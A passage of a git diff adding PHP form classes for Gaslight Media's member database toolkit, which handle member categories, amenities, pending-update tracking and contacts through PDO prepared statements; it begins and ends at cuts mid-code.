+        * @param array $targets All the category id's we want to remove
+        * @param array &$values All the categories submitte.
+        *
+     * @return void
+        * @access      protected
+        */
+       protected function removeCategories($targets, &$values)
+       {
+               foreach ($targets as $cid) {
+                       $key = array_search($cid, $values);
+                       unset($values[$key]);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ setConfig()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function setConfig(Config_Container $c)
+    {
+        $this->config = $c;
+    }
+
+    //  }}}
+    //  {{{ setStates()
+
+    /**
+     * Set the states available for the form
+     *
+     * @param array $states Array of states available for the form
+     *
+     * @return void
+     * @access public
+     */
+    public function setStates(array $states)
+    {
+        $this->states = $states;
+    }
+
+    //  }}}
+       //      {{{ setupFormCategories()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupFormCategories()
+       {
+               try {
+                       //      Determine if this is a new member record or we're editing
+                       //      an existing member record.
+                       $member_id = $_GET['id'];
+                       //      Get all the categories already associated w/ this member.
+                       //      This part is primarily for editing existing members.
+                       //      That way they categories initially show up.
+                       //      They are ordered by the mem_cat_id which should keep
+                       //      them in the same order as they were added.
+                       $sql = "
+                SELECT *
+                  FROM member_category
+                 WHERE member_id = :id
+                                ORDER BY member_category_id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $member_id, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $memCats[$row['category_id']] = true;
+                       }
+
+                       //      If we submitted the form:
+                       //      1. Get all the member_cat values on the form that were submitted.
+                       //              If we flip the key/value pairs when we add the submitted values
+                       //              we won't have to worry about checking for duplicate cats submitted.
+                       //      2. If we clicked on a remove button determine the x/y coords
+                       //              (hint: the coords will be empty if we didn't click on one).
+                       //              if the coords are not empty, then remove the category we clicked
+                       //              on, it will be the removeCat form element.
+                       if ($this->isSubmitted()) {
+                               if (!is_array($memCats)) {
+                                       $memCats = array();
+                               }
+                               $submittedMemberCats = $this->getSubmitValue('member_cats');
+                               if (is_array($submittedMemberCats) && !empty($submittedMemberCats)) {
+                                       $memCats += array_flip($this->getSubmitValue('member_cats'));
+                               }
+                               //      Holds a possible array of category id's we want to remove.
+                               $removeTargets = $this->getSubmitValue('removeCat');
+                               //      If the array is not empty, then scoot through it and remove
+                               //      any of the categories form the memCats array so they won't 
+                               //      show up again.
+                               if (!empty($removeTargets)) {
+                                       foreach ($removeTargets as $k => $v) {
+                                               unset($memCats[$v]);
+                                       }
+                               }
+                       }
+
+                       //      Unset the blank key so the sql query doesn't puke when trying to
+                       //      add it into the DB.  The blank key will occur if no cat is selected.
+                       //      its the default option for the select list.
+                       unset($memCats['']);
+                       $this->memberCategories = $memCats;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+        $m = new Toolkit_Members_RecordNavigation($this->config);
+        $m->setupAdminNavStructure();
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+        $this->view->baseUrl = BASE_URL;
+               $this->view->form = $renderer->toObject();
+        $this->view->nav = $m->getPageNav();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+       //      {{{ showCategories()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+       public function showCategories()
+       {
+               if (!empty($this->memberCategories)) {
+                       try {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($this->memberCategories as $cid => $v) {
+                                       $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       $category = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                                       $out .= '
+                                               <i>
+                                                       <input id="catid'.$category['category_id'].'"
+                                                               type="hidden" name="member_cats[]"
+                                                               value="'.$category['category_id'].'" >
+                                                       <label class="remove" for="'.$category['category_id'].'">
+                                                               <input type="checkbox" name="removeCat[]"
+                                                                       id="'.$category['category_id'].'"
+                                                                       value="'.$category['category_id'].'" >
+                                                               Remove
+                                                       </label>
+                                                       '.$category['name'].'
+                                               </i>';
+                               }
+                       } catch (PDOException $e) {
+                               return Toolkit_Common::handleError($e);
+                       }
+               }
+
+               return $out;
+       }
+
+       //      }}}
+
+       //      {{{ toHTML()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @return      string  The rendered form
+        * @access      public
+        */
+       public function toHTML()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+               if ($this->validated) {
+                       $processed = $this->process(array(&$this, 'processData'), $this->mergeFiles);
+               }
+
+               //      ProcessData handles settingup the lat/lon coordinates if they were not entered
+               //      into the form.  these values ar calculated and then inserted into the forms
+               //      element values.  So we need to process the data first and then render the form.
+               $this->setupRenderers();
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the record data
+     * 
+     * @param array $values scrubbed values submitted from the form
+     *
+     * @return object True on success
+     * @access public
+     */
+       public function updateData($values)
+       {
+        /*
+               //      Remove any cache we have for this member so the next
+               //      page load of that member profile will generate new content.
+               $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+               $cache->remove("Member-{$_GET['id']}", 'Dynamic');
+        */
+
+               $member_id = $_GET['id'];
+               //      {{{ Golfing
+
+               //      Remove Golf Fields for Special Insert.
+               $fields = array(
+                       'par',
+                       'yardage',
+                       'course_rating', 
+                       'slope_rating',
+                       'walking_course',
+                       'holes18',
+                       'holes9',
+               );
+
+               foreach ($fields as $v) {
+                       $golfFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+               //      {{{ Accommodations
+
+               //      Remove Accommodation Fields for Special Insert.
+               $fields = array(
+                       'reservation_id',
+                       'num_rooms',
+                       'year_round',
+               );
+               foreach ($fields as $v) {
+                       $accommodationFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+               //      {{{ Restaurant
+
+               //      Remove Restaurant Fields for Special Insert.
+               $fields = array(
+                       'breakfast',
+                       'breakfast_from',
+                       'breakfast_to',
+                       'brunch',
+                       'brunch_from',
+                       'brunch_to',
+                       'lunch',
+                       'lunch_from',
+                       'lunch_to',
+                       'dinner',
+                       'dinner_from',
+                       'dinner_to',
+                       'alcohol',
+                       'non_smoking',
+               );
+               foreach ($fields as $v) {
+                       $restaurantFields[$v] = $values[$v];
+                       unset($values[$v]);
+               }
+
+               //      }}}
+
+               //      Remove values not wanted before we get all the member categories.
+               if (isset($values['removeCat'])) {
+                       //      So remove them before we get the categories to insert for the member.
+                       $this->removeCategories($values['removeCat'], &$values['member_cats']);
+               }
+               //      Now get the cats so we can insert them into a seperate table later.
+               $categories = $values['member_cats'];
+
+               $ccards = $values['creditCards'];
+               $pattern = '/^-?(.+)$/i';
+               $replacement = '$1';
+               //      Adjust the lat/lon coordinates to negative #'s if needed
+               $coords = array('lat' => 'South', 'lon' => 'East');
+               foreach ($coords as $k => $v) {
+                       if ($values["{$k}Direction"] == $v && !empty($values[$k])) {
+                               $string = $values[$k];
+                               $values[$k] = preg_replace($pattern, $replacement, $string);
+                               $values[$k] = "-{$values[$k]}";
+                       }
+               }
+               unset($values['lonDirection'],
+                       $values['latDirection'],
+                       $values['member_cats'],
+                       $values['removeCat'],
+                       $values['creditCards']
+               );
+
+               try {
+                       $params = array_keys($values);
+                       $length = count($params);
+                       for ($i = 0; $i < $length; ++$i) {
+                               $bindParams .= "{$params[$i]} = :{$params[$i]}";
+                if ($i < ($length - 1)) {
+                    $bindParams .= ', ';
+                }
+                       }
+                       $this->dbh->beginTransaction();
+                       $sql = "
+                               UPDATE {$this->tableName}
+                                  SET $bindParams
+                                WHERE member_id = :member_id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && $v !== 0) {
+                                       $v = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       $stmt->execute();
+
+                       //      Handle updating the credit cards
+                       $sql = "
+                DELETE FROM member_ccard_type
+                 WHERE member_id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $member_id, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       if (is_array($ccards)) {
+                               $sql = "
+                                       INSERT INTO member_ccard_type (member_id, ccard_type_id)
+                                       SELECT :id, ccard_type_id
+                                         FROM ccard_type
+                                        WHERE ccard_type_name = :cctn";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $member_id, PDO::PARAM_INT);
+                               foreach ($ccards as $k => &$v) {
+                                       if ($v) {
+                                               $stmt->bindParam(':cctn', $k, PDO::PARAM_STR);
+                                               $stmt->execute();
+                                       }
+                               }
+                       }
+
+                       //      Handle updating the categories
+                       $sql = "
+                DELETE FROM member_category
+                 WHERE member_id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $member_id, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       if (is_array($categories)) {
+                               $sql = "
+                    INSERT INTO member_category (member_id, category_id)
+                    VALUES (:member_id, :cid)";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                               foreach ($categories as &$cid) {
+                                       if (!empty($cid)) {
+                                               $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                               $stmt->execute();
+                                       }
+                               }
+                       }
+                       
+                       $golf = $restaurant = $accommodations = false;
+                       if (!empty($categories)) {
+                               $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE category_id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               foreach ($categories as &$cid) {
+                                       if (!empty($cid)) {
+                                               $stmt->bindParam(':cid', $cid, PDO::PARAM_INT);
+                                               $stmt->execute();
+                                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                                               //      If any of the module statuses are true, set them.
+                                               //      otherwise leave them as they were, (we don't want
+                                               //      to set a true back to a false).
+                                               $golf = ($row['golf'] == 't') ? true : $golf;
+                                               $accommodations = ($row['accommodations'] == 't') ?
+                                                       true : $accommodations;
+                                               $restaurant = ($row['restaurant'] == 't') ?
+                                                       true : $restaurant;
+                                       }
+                               }
+                       }
+                       $this->clearModule('member_golf');
+                       if ($golf) {
+                               $this->updateModuleFields($golfFields, 'member_golf');
+                       }
+                       $this->clearModule('member_accommodations');
+                       if ($accommodations) {
+                               $this->updateModuleFields($accommodationFields, 'member_accommodations');
+                       }
+                       $this->clearModule('member_restaurants');
+                       if ($restaurant) {
+                               $this->updateModuleFields($restaurantFields, 'member_restaurants');
+                       }
+                       
+            $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+                       $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollBack();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ updateModuleFields()
+
+       //      member_id in the params is for inserting the data if the form fails validation
+       //      first and comes back around and module categories will be included on the form
+       //      and you need to be able to insert the data and associate to the member.
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array   $values    Parameter description (if any) ...
+     * @param unknown $tableName Parameter description (if any) ...
+     * @param unknown $member_id Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+       protected function updateModuleFields($values, $tableName, $member_id = null)
+       {
+               Toolkit_Common::getTableMetaData(null, $tableName);
+               $values['member_id'] = (!is_null($member_id)) ? $member_id : $_GET['id'];
+               try {
+                       $params = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+                       $sql = "
+                INSERT INTO $tableName ($params)
+                VALUES ($bindParams)";
+                       $stmt = $this->dbh->prepare($sql);
+                       foreach ($values as $k => &$v) {
+                               $metaData = $this->tableMetaData[$k];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && $v !== 0) {
+                                       $v = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               $stmt->bindParam(":$k", $v, $dataType);
+                       }
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ validated()
+
+       /**
+        * Checks if the form is validated
+        *
+        * If the form is validated display the success msg.
+        * If the form is submitted but not validated, display
+        * the error msg.  Other wise display nothing.
+        *
+        * This function is called from within the template.
+        *
+        * @return      string          The success or error msg for the user.
+        * @access      protected
+        */
+       public function validated()
+       {
+               if ($this->validated) {
+                       return $this->successMsg;
+               } elseif ($this->isSubmitted()) {
+                       return $this->errorMsg;
+               }
+       }
+
+       //      }}}
+       //      {{{ verifyLatLon()
+
+       /**
+        * Adjust lat / lon values on form if needed
+        *
+        * Checks to make sure the latitude and longitude values are present on the form.
+        * If either one is empty, it calculates the coordinates from the given data on the
+        * and inserts or updates the form element values.
+        *
+     * @param array $values lat/lon values
+     *
+        * @return string The rendered form
+        * @access protected
+        */
+       protected function verifyLatLon($values)
+       {
+               if (empty($values['lat']) || empty($values['lon'])) {
+                       if (!empty($values['street'])) {
+                               $coords = $this->generateLatLon(&$values);
+                       } else {
+                               $coords = $this->generateLatLon($values['zip']);
+                       }
+               }
+
+               //      Set each lat and lon value if its not empty.
+               //      insert the value back into the forms GROUPED element.
+               if (!empty($coords['lat'])) {
+                       $values['lat'] = $coords['lat'];
+                       $e =& $this->getElement('lat');
+                       $e->setValue($coords['lat']);
+               }
+               if (!empty($coords['lon'])) {
+                       $values['lon'] = $coords['lon'];
+                       $e =& $this->getElement('lon');
+                       $e->setValue($coords['lon']);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberOnlyAmenities.php b/Toolkit/Members/EditMemberOnlyAmenities.php
new file mode 100644 (file)
index 0000000..77817b4
--- /dev/null
@@ -0,0 +1,451 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberOnlyAmenities.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditMemberOnlyAmenities
+       extends Toolkit_Members_EditMemberAmenities implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * All the default data
+        *
+        * When we load the default data (member record from the database), we will
+        * store all that data in this variable. That way when we process the form
+        * we will have all the information to compare against, so we can find the
+        * updates.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $oldData;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->setPending();
+       }
+
+       //      }}}
+
+       //      {{{ createPendingData()
+
+       /**
+        * Make any changes into a pending state
+        *
+        * If strict pending is turned on, any changes that were made will
+        * have to fall into a pending state.  to do that we need to drop
+        * any update into the updates table.
+        *
+     * @param array $values submitted form values
+     *
+     * @return boolean
+        * @access Protected
+        */
+       protected function createPendingData($values)
+       {
+               try {
+                       $this->handleReconsiderations(&$values);
+                       //      Find out all the amenities the member currently has.
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE member_id = :member_id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $currentAmenities[] = $row['amenity_id'];
+                       }
+
+                       //      If they have no amenities already, we need to make sure
+                       //      this variable is at least defined as an array so 
+                       //      we can get the array_diff.
+                       if (empty($currentAmenities)) {
+                               $currentAmenities = array();
+                       }
+                       //      Find out all the new amenities that where added.
+                       $alteredAmenities
+                = array_diff(array_keys($values), $currentAmenities);
+
+                       $sql = "
+                SELECT *
+                  FROM amenity
+                 WHERE amenity_id = :aid";
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       $sql = "
+                               INSERT INTO member_updates (update, data_type, member_id, field,
+                               db_table, label)
+                               VALUES (:update, 'string', :member_id, :field, :table, :label)";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->bindParam(':table', $this->tableName, PDO::PARAM_STR);
+                       //      If any amenities where added
+                       //      insert them into the updates table to be in a pending state.
+                       if (!empty($alteredAmenities)) {
+                               $update = 1;
+                               $stmt->bindParam(':update', $update, PDO::PARAM_STR);
+                               foreach ($alteredAmenities as $k => &$v) {
+                                       $fetchStmt->bindParam(':aid', $v, PDO::PARAM_INT);
+                                       $fetchStmt->execute();
+                                       $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                                       $stmt->bindParam(':label', $row['amenity_name'], PDO::PARAM_STR);
+                                       $stmt->bindParam(':field', $v, PDO::PARAM_STR);
+                                       $stmt->execute();
+                               }
+                       }
+
+                       $update = 0;
+                       //      If any amenities are removed
+                       //      insert the removal request into the updates table
+                       //      so it can be in a pending state.
+                       foreach ($currentAmenities as $k => &$v) {
+                               if (!array_key_exists($v, $values)) {
+                                       $fetchStmt->bindParam(':aid', $v, PDO::PARAM_INT);
+                                       $fetchStmt->execute();
+                                       $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                                       $stmt->bindParam(':update', $update, PDO::PARAM_STR);
+                                       $stmt->bindParam(':label', $row['amenity_name'], PDO::PARAM_STR);
+                                       $stmt->bindParam(':field', $v, PDO::PARAM_STR);
+                                       $stmt->execute();
+                               }
+                       }
+
+                       return true;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Loads default values for the form
+        *
+        * Setup the members default values to load into the form.
+        * Copy all these values, which is the old data we will use to compare
+        * against when the form is submitted to determine the updates, into
+        * the oldData variable.
+        *
+        * @return void
+        * @access protected
+        */
+       public function configureDefaults()
+       {
+               $this->oldData = parent::configureDefaults();
+
+               try {
+                       $sql = "
+                SELECT field, 'update' 
+                  FROM member_updates
+                 WHERE id in (
+                                               SELECT max(id)
+                                                 FROM member_updates
+                 GROUP BY field)
+                   AND member_id = :member_id
+                                  AND db_table = '{$this->tableName}'";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $this->oldData[$row['field']] = $row['update'];
+                       }
+                       $this->setupDefaults($this->oldData);
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ fieldPending()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $elem Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+       public function fieldPending($elem)
+       {
+               if (!is_array($this->pendingFields)) {
+                       return false;
+               } else {
+                       return in_array($elem->label, $this->pendingFields);
+               }
+       }
+
+       // }}}
+
+       //      {{{ handleReconsiderations()
+
+       /**
+        * Makes amenities not pending anymore if they get re-added or re-removed
+        *
+        * These two cases both reset the field to its previous state before
+        * the original request was made.  So it bypasses the need of an admin
+        * to approve or reject the request, removes the fields from the updates
+        * table, and resets the field to its state before the request was made.
+        *
+        * If an amenity was added and removed before the admin has the ability
+        * to approve the request, we remove the field from the updates table
+        * and reset the pending field.  Same happens if an amenity is removed
+        * and added back in before the admin approves the removal request.
+        *
+        * @param mixed $values array of values submitted from the form.
+     *
+     * @return void
+        * @access public
+        */
+       protected function handleReconsiderations($values)
+       {
+               //      Get all the latest updates for this member's amenities.
+               $sql = "
+            SELECT *
+              FROM member_updates
+             WHERE id IN (
+                                       SELECT max(id)
+                                         FROM member_updates
+                                        WHERE member_id      = :member_id
+             GROUP BY field)
+               AND db_table = '{$this->tableName}'";
+               $stmt = $this->dbh->prepare($sql);
+               $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+               $stmt->execute();
+               while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                       $updates[$row['field']] = $row;
+               }
+
+               //      Set up the query to remove an amenity.
+               $sql = "
+                       DELETE FROM member_updates
+                        WHERE field    = :field
+                          AND db_table = '{$this->tableName}'
+                          AND member_id = :member_id";
+               $delStmt = $this->dbh->prepare($sql);
+               $delStmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+               //      This case can only happen if there are updates pending.
+               //      If any amenities were re-added or re-removed, then remove
+               //      them from the updates table cause they went back to their
+               //      original state.
+               if (!empty($updates)) {
+                       $updateableAmenities = array_keys($updates);
+                       foreach ($updateableAmenities as $k => &$v) {
+                               $keyExists = array_key_exists($v, $values);
+                               $adding = (bool) $updates[$v]['update'];
+                               //      Removed then added back in.
+                               $reAdded = (!$keyExists && $adding) ? true : false;
+                               //      Added then removed again.
+                               $reRemoved = ($keyExists && !$adding) ? true : false;
+
+                               if ($reAdded || $reRemoved) {
+                                       $delStmt->bindParam(':field', $v, PDO::PARAM_INT);
+                                       $delStmt->execute();
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return void     
+     * @access public
+     */
+       public function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       default :
+                               if (preg_match('/^.+_rmv$/', $k)) {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+               $this->dbh->beginTransaction();
+               if ($this->updateData($values)) {
+                       // insert into pending table
+                       $this->dbh->commit();
+               } else {
+                       $this->dbh->rollBack();
+               }
+                       
+               $listPage = BASE_URL .
+                       "memberdb/index.php?Option=Member&Action=Edit&tab=4";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setPending()
+
+       /**
+        * Determines if the member has made any update requests
+        *
+        * Any update requests that are in the member_updates table
+        * will let us know if this member is pending or not.
+        *
+     * @return void
+        * @access protected
+        * @see    Toolkit_FormBuilder::setupElements()
+        */
+       public function setPending()
+       {
+               unset ($this->pendingFields);
+               try {
+                       $sql = "
+                SELECT DISTINCT label
+                  FROM {$this->pendingTable}
+                 WHERE member_id      = :member_id
+                   AND db_table = '{$this->tableName}'";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $this->pendingFields[] = $row['label'];
+                       }
+                       $this->pending = (count($this->pendingFields)) ? true : false;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+        $m = new Toolkit_Members_RecordNavigation($this->config);
+        $m->setupUserNavStructure();
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+        $this->view->nav = $m->getPageNav();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $values Parameter description (if any) ...
+     *
+     * @return unknown   Return description (if any) ...
+     * @access public
+     */
+       public function updateData($values)
+       {
+               $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-$id", 'Dynamic');
+
+               if ($this->strictPending) {
+                       $this->emailOwner();
+                       return $this->createPendingData($values);
+               } else {
+                       return parent::insertData($values);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberOnlyContacts.php b/Toolkit/Members/EditMemberOnlyContacts.php
new file mode 100644 (file)
index 0000000..f0df06b
--- /dev/null
@@ -0,0 +1,728 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberOnlyContacts.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handle associating contacts along with member records
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the business contacts. Form is not rendered until the user is added into the Database.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditMemberOnlyContacts
+       extends Toolkit_Members_EditMemberOnlyInfo implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data of the files
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_contacts';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editContacts.tpl';
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               try {
+                       if (isset($_GET['cid'])) {
+                               $sql = "
